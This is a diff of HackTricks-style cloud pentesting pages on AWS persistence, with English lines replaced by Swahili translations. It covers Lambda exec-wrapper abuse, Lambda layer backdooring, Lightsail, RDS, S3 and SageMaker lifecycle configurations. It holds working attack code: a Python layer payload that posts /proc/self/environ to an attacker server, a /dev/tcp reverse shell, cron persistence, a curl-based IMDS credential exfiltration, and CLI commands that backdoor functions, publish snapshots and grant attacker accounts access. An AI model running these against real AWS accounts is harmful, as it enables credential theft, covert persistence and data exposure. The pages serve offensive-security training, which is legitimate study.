@@ -19,8 +19,7 @@ Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-
## Wrapper Script
Place the wrapper at `/opt/bin/htwrap` in the layer. It can run pre-handler logic and must end with `exec "$@"` to chain to the real runtime.
Weka wrapper kwenye `/opt/bin/htwrap` ndani ya layer. Inaweza kuendesha mantiki ya kabla ya handler na lazima itamalize na `exec "$@"` ili kuunganisha na runtime halisi.
```bash
#!/bin/bash
set -euo pipefail
@@ -29,20 +28,18 @@ echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCT
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Attack Steps (CLI)
## Hatua za Shambulio (CLI)
<details>
<summary>Publish layer, attach to target function, set wrapper, invoke</summary>
<summary>Chapisha layer, ambatisha kwa function lengwa, weka wrapper, itisha</summary>
```bash
# Vars
REGION=us-east-1
@@ -65,19 +62,19 @@ chmod +x layer/bin/htwrap
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
@@ -86,13 +83,12 @@ until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## Impact
- Pre-handler code execution in the Lambda runtime context using the function's existing execution role.
- No changes to the function code or role required; works across common managed runtimes (Python, Node.js, Java, .NET).
- Enables persistence, credential access (e.g., STS), data exfiltration, and runtime tampering before the handler runs.
- Utekelezaji wa msimbo kabla ya handler katika muktadha wa Lambda runtime kwa kutumia execution role ya function iliyopo.
- Hakuna mabadiliko yanayohitajika kwa code ya function au role; inafanya kazi katika managed runtimes za kawaida (Python, Node.js, Java, .NET).
- Inaruhusu persistence, credential access (mfano, STS), data exfiltration, na runtime tampering kabla handler inapoanza.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,79 +4,72 @@
## Lambda Layers
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
Layer ya Lambda ni archive ya faili .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime ya kawaida](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi.
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
Inawezekana kujumuisha hadi **layers tano kwa kazi**. Unapojumuisha layer katika kazi, **maudhui yanachukuliwa hadi kwenye saraka ya `/opt`** katika mazingira ya utekelezaji.
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
Kwa **kawaida**, **layers** unazounda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la layer lililofutwa.
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo.
### Python load path
The load path that Python will use in lambda is the following:
Path ya kupakia ambayo Python itatumia katika lambda ni ifuatayo:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
Angalia jinsi **nafasi ya pili** na ya tatu **zinavyoshikiliwa** na directories ambapo **lambda layers** zinachambua faili zao: **`/opt/python/lib/python3.9/site-packages`** na **`/opt/python`**
> [!CAUTION]
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
> Ikiwa mshambuliaji ameweza **kurejesha** **layer** ya lambda inayotumika au **kuongeza moja** ambayo itakuwa **ikiendesha msimbo wa kawaida unapopakua maktaba**, ataweza kuendesha msimbo mbaya kwa kila mwito wa lambda.
Therefore, the requisites are:
Kwa hivyo, mahitaji ni:
- **Check libraries** that are **loaded** by the victims code
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
- **Angalia maktaba** ambazo **zinapakiwa** na msimbo wa waathirika
- Unda **maktaba ya proxy na lambda layers** ambayo itakuwa **ikiendesha msimbo wa kawaida** na **kupakia maktaba ya asili**.
### Preloaded libraries
### Maktaba zilizopakiwa awali
> [!WARNING]
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
> Wakati wa kutumia mbinu hii nilikumbana na ugumu: Maktaba zingine tayari **zimepakiwa** katika mazingira ya python wakati msimbo wako unatekelezwa. Nilikuwa natarajia kupata vitu kama `os` au `sys`, lakini **hata maktaba ya `json` ilikuwa imepakiwa**.\
> Ili kutumia mbinu hii ya kudumu, msimbo unahitaji **kupakia maktaba mpya ambayo haijapakiwa** wakati msimbo unatekelezwa.
Kwa msimbo wa python kama huu, inawezekana kupata **orodha ya maktaba ambazo zimepakiwa awali** ndani ya mazingira ya python katika lambda:
```python
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
And this is the **list** (check that libraries like `os` or `json` are already there)
Na hii ni **orodha** (hakikisha kwamba maktaba kama `os` au `json` zipo tayari)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
Na hii ni orodha ya **maktaba** ambazo **lambda inajumuisha zilizowekwa kwa default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
### Lambda Layer Backdooring
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
Katika mfano huu hebu tuone kwamba msimbo unaolengwa unatumia **`csv`**. Tunakwenda **kufanya backdoor kwenye uagizaji wa maktaba ya `csv`**.
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
This file must:
Ili kufanya hivyo, tutaunda **directory csv** yenye faili **`__init__.py`** ndani yake katika njia ambayo inasomwa na lambda: **`/opt/python/lib/python3.9/site-packages`**\
Kisha, wakati lambda inatekelezwa na kujaribu kupakia **csv**, faili yetu ya **`__init__.py` itasomwa na kutekelezwa**.\
Faili hii inapaswa:
- Execute our payload
- Load the original csv library
We can do both with:
- Kutekeleza payload yetu
- Kupakia maktaba ya csv asilia
Tunaweza kufanya yote mawili kwa:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
Kisha, tengeneza zip na msimbo huu katika njia **`python/lib/python3.9/site-packages/__init__.py`** na uongeze kama tabaka la lambda.
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
Unaweza kupata msimbo huu katika [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
Payload iliyounganishwa it **tuma IAM creds kwa seva WAKATI WA KWANZA inapoanzishwa au BAADA ya kurekebisha kontena la lambda** (mabadiliko ya msimbo au lambda baridi), lakini **mbinu nyingine** kama ifuatavyo zinaweza pia kuunganishwa:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
### External Layers
### Tabaka za Nje
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
Also note that the **max number of layers a lambda can have is 5**.
Kumbuka kwamba inawezekana kutumia **tabaka za lambda kutoka kwa akaunti za nje**. Aidha, lambda inaweza kutumia tabaka kutoka kwa akaunti ya nje hata kama haina ruhusa.\
Pia kumbuka kwamba **idadi ya juu ya tabaka ambayo lambda inaweza kuwa nayo ni 5**.
Therefore, in order to improve the versatility of this technique an attacker could:
- Backdoor an existing layer of the user (nothing is external)
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- The victim **won't see external layers** used with **`aws lambda list-layers`**
Hivyo, ili kuboresha ufanisi wa mbinu hii mshambuliaji anaweza:
- Kuingiza nyuma tabaka lililopo la mtumiaji (hakuna chochote ni cha nje)
- **Kuunda** **tabaka** katika **akaunti yake**, kumpa **mtumiaji waathirika ruhusa** kutumia tabaka, **kuweka** **tabaka** katika Lambda ya waathirika na **kuondoa ruhusa**.
- **Lambda** bado itakuwa na uwezo wa **kutumia tabaka** na **waathirika hawata** kuwa na njia rahisi ya **kupakua msimbo wa tabaka** (kando na kupata rev shell ndani ya lambda)
- Waathirika **hawataona tabaka za nje** zinazotumika na **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,28 +10,24 @@ For more information check:
../../aws-services/aws-lightsail-enum.md
{{#endref}}
### Download Instance SSH keys & DB passwords
### Pakua SSH keys za instance & nywila za DB
They won't be changed probably so just having them is a good option for persistence
Labda hazitabadilika, hivyo kuzikuwa nazo ni chaguo nzuri kwa persistence
### Backdoor Instances
An attacker could get access to the instances and backdoor them:
Muvamizi anaweza kupata ufikiaji wa instances na kuzi-backdoor:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key**
- Expose a port with port knocking with a backdoor
- Kutumia **rootkit** ya jadi kwa mfano
- Kuongeza **public SSH key** mpya
- Kufungua port kwa port knocking pamoja na backdoor
### DNS persistence
If domains are configured:
Ikiwa domains zimewekwa:
- Create a subdomain pointing your IP so you will have a **subdomain takeover**
- Create **SPF** record allowing you to send **emails** from the domain
- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
- Unda subdomain inayoelekeza IP yako ili uwe na **subdomain takeover**
- Tengeneza rekodi ya **SPF** ikikuruhusu kutuma **emails** kutoka kwa domain
- Sanidi **main domain IP to your own one** na fanya **MitM** kutoka IP yako hadi zile halali
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,32 +4,24 @@
## RDS
For more information check:
Kwa taarifa zaidi, angalia:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
### Make instance publicly accessible: `rds:ModifyDBInstance`
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
### Fanya instance ipatikane kwa umma: `rds:ModifyDBInstance`
Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha instance ya RDS iliyopo ili kuwezesha upatikanaji wa umma**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Unda mtumiaji admin ndani ya DB
### Create an admin user inside the DB
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
### Make snapshot public
Mshambuliaji anaweza tu **kuunda mtumiaji ndani ya DB**, hivyo hata kama nenosiri la mtumiaji mkuu linabadilishwa, **hatapoteza ufikiaji** wa database.
### Fanya snapshot iwe ya umma
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## S3
For more information check:
Kwa habari zaidi angalia:
{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
@@ -12,18 +12,14 @@ For more information check:
### KMS Client-Side Encryption
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
Wakati the encryption process imemalizika, mtumiaji atatumia KMS API kutengeneza key mpya (`aws kms generate-data-key`) na ata **store the generated encrypted key inside the metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), ili when the decrypting occur iweze ku-decrypt tena kwa kutumia KMS:
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
Hivyo, attacker anaweza kupata key hii kutoka metadata na ku-decrypt kutumia KMS (`aws kms decrypt`) kupata key iliyotumika ku-encrypt taarifa. Kwa njia hii attacker atakuwa na encryption key na ikiwa key hiyo itatumiwa tena ku-encrypt faili nyingine ataweza kuitumia.
### Using S3 ACLs
Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
Ingawa kwa kawaida ACLs za buckets zimeshizimwa, attacker mwenye privileges za kutosha anaweza kuzibadilisha matumizi yao (ikiwa zimeshawashwa au ikiwa attacker anaweza kuzizima) ili kudumisha access kwa S3 bucket.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,15 +1,15 @@
# AWS - SageMaker Persistence
# AWS - SageMaker Uendelevu
{{#include ../../../../banners/hacktricks-training.md}}
## Overview of Persistence Techniques
## Muhtasari wa Mbinu za Uendelevu
This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. These scripts run with the instances IAM role and can persist across restarts. Most techniques require outbound network access, but usage of services on the AWS control plane can still allow success if the environment is in 'VPC-only" mode.
Sehemu hii inaelezea njia za kupata uendelevu katika SageMaker kwa kutumia vibaya Lifecycle Configurations (LCCs), ikijumuisha reverse shells, cron jobs, credential theft via IMDS, na SSH backdoors. Scripts hizi zinaendesha kwa IAM role ya instance na zinaweza kudumu hata baada ya kuanzishwa upya. Mbinu nyingi zinahitaji outbound network access, lakini matumizi ya services kwenye AWS control plane bado yanaweza kuruhusu mafanikio ikiwa mazingira yako yako katika mode ya 'VPC-only'.
> [!TIP]
> Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
> Note: SageMaker notebook instances ni kimsingi EC2 instances zinazosimamiwa zilizosanifiwa hasa kwa ajili ya kazi za machine learning.
## Required Permissions
## Ruhusa Zinazohitajika
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
@@ -17,7 +17,7 @@ sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio Applications:
* Programu za Studio:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
@@ -25,11 +25,9 @@ sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## Weka Lifecycle Configuration kwenye Notebook Instances
## Set Lifecycle Configuration on Notebook Instances
### Example AWS CLI Commands:
### Mifano ya AWS CLI Amri:
```bash
# Create Lifecycle Configuration*
@@ -44,12 +42,11 @@ aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Weka Lifecycle Configuration kwenye SageMaker Studio
## Set Lifecycle Configuration on SageMaker Studio
Lifecycle Configurations zinaweza kuambatishwa katika viwango mbalimbali na kwa aina tofauti za app ndani ya SageMaker Studio.
Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
### Studio Domain Level (All Users)
### Kiwango cha Domain cha Studio (Watumiaji Wote)
```bash
# Create Studio Lifecycle Configuration*
@@ -62,29 +59,29 @@ aws sagemaker create-studio-lifecycle-config \
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Studio Space Level (Individual or Shared Spaces)
### Studio Space Level (Nafasi za Binafsi au Ziloshirikishwa)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Types of Studio Application Lifecycle Configurations
## Aina za Mipangilio za Lifecycle za Studio Application
Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
* JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs.
* KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access.
* CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions.
Mipangilio ya lifecycle zinaweza kutumika mahsusi kwa aina tofauti za programu za SageMaker Studio:
* JupyterServer: Hukimbia scripts wakati wa kuanzishwa kwa server ya Jupyter; bora kwa mbinu za persistence kama reverse shells na cron jobs.
* KernelGateway: Hutekelezwa wakati app ya kernel gateway inapoanzishwa; inafaa kwa usanidi wa awali au ufikiaji wa kudumu.
* CodeEditor: Inatumika kwenye Code Editor (Code-OSS), ikiruhusu scripts zinazotekelezwa wakati vikao vya kuanza kuhariri code.
### Example Command for Each Type:
### Amri ya Mfano kwa Kila Aina:
### JupyterServer
```bash
@@ -100,21 +97,21 @@ aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
### Mhariri wa Msimbo
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Critical Info:
* Attaching LCCs at the domain or space level impacts all users or applications within scope.
* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
* Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration.
### Taarifa Muhimu:
* Kutumia LCCs katika ngazi ya domain au space kunaathiri watumiaji wote au applications ndani ya wigo.
* Inahitaji ruhusa za juu (sagemaker:UpdateDomain, sagemaker:UpdateSpace) na kwa kawaida ni rahisi kutekelezwa kwenye space kuliko ngazi ya domain.
* Udhibiti wa ngazi ya mtandao (mfano, strict egress filtering) unaweza kuzuia reverse shells zinazofanikiwa au data exfiltration.
## Reverse Shell via Lifecycle Configuration
## Reverse Shell kupitia Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
SageMaker Lifecycle Configurations (LCCs) zinaendesha script maalum wakati notebook instances zinapoanza. Mshambuliaji mwenye ruhusa anaweza kuanzisha reverse shell ya kudumu.
### Payload Example:
```
@@ -123,10 +120,9 @@ ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence kupitia Lifecycle Configuration
## Cron Job Persistence via Lifecycle Configuration
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
Mshambuliaji anaweza kuingiza cron jobs kupitia LCC scripts, kuhakikisha utekelezaji wa mara kwa mara wa malicious scripts au commands, na hivyo kuwezesha persistence kwa siri.
### Payload Example:
```
@@ -141,9 +137,9 @@ chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Credential Exfiltration via IMDS (v1 & v2)
## Uondoaji wa credentials kupitia IMDS (v1 & v2)
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
Mipangilio ya lifecycle inaweza kuuliza Instance Metadata Service (IMDS) ili kupata IAM credentials na kuzipeleka kwa mahali linalodhibitiwa na mshambuliaji.
### Payload Example:
```bash
@@ -161,76 +157,74 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
## Uendelevu kupitia sera ya rasilimali ya Model Registry (PutModelPackageGroupPolicy)
## Persistence via Model Registry resource policy (PutModelPackageGroupPolicy)
Tumia vibaya sera iliyotegemezwa rasilimali kwenye SageMaker Model Package Group ili kumpa mhusika wa nje haki za kuvuka akaunti (mfano, CreateModelPackage/Describe/List). Hii huunda mlango wa nyuma wa kudumu unaoruhusu kusukuma matoleo ya modeli zilizochafuka au kusoma metadata/viambatisho vya modeli hata kama mtumiaji/role wa IAM wa mshambuliaji kwenye akaunti ya mwathiriwa amefutwa.
Abuse the resource-based policy on a SageMaker Model Package Group to grant an external principal cross-account rights (e.g., CreateModelPackage/Describe/List). This creates a durable backdoor that allows pushing poisoned model versions or reading model metadata/artifacts even if the attackers IAM user/role in the victim account is removed.
Required permissions
Ruhusa zinazohitajika
- sagemaker:CreateModelPackageGroup
- sagemaker:PutModelPackageGroupPolicy
- sagemaker:GetModelPackageGroupPolicy
Steps (us-east-1)
Hatua (us-east-1)
```bash
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON
# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
```
Vidokezo
- Kwa backdoor halisi ya miongoni mwa akaunti, weka Resource kwa specific group ARN na tumia the attackers AWS account ID katika Principal.
- Kwa utekelezaji kuanzia hadi mwisho miongoni mwa akaunti au kusoma artifact, linganisha ruhusa za S3/ECR/KMS na akaunti ya mshambuliaji.
Notes
- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attackers AWS account ID in Principal.
- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.
Athari
- Udhibiti wa kudumu miongoni mwa akaunti wa kundi la Model Registry: mshambuliaji anaweza kuchapisha matoleo ya model yenye madhara au kuorodhesha/kusoma metadata ya model hata baada ya entiti zao za IAM kuondolewa kwenye akaunti ya mwathiriwa.
Impact
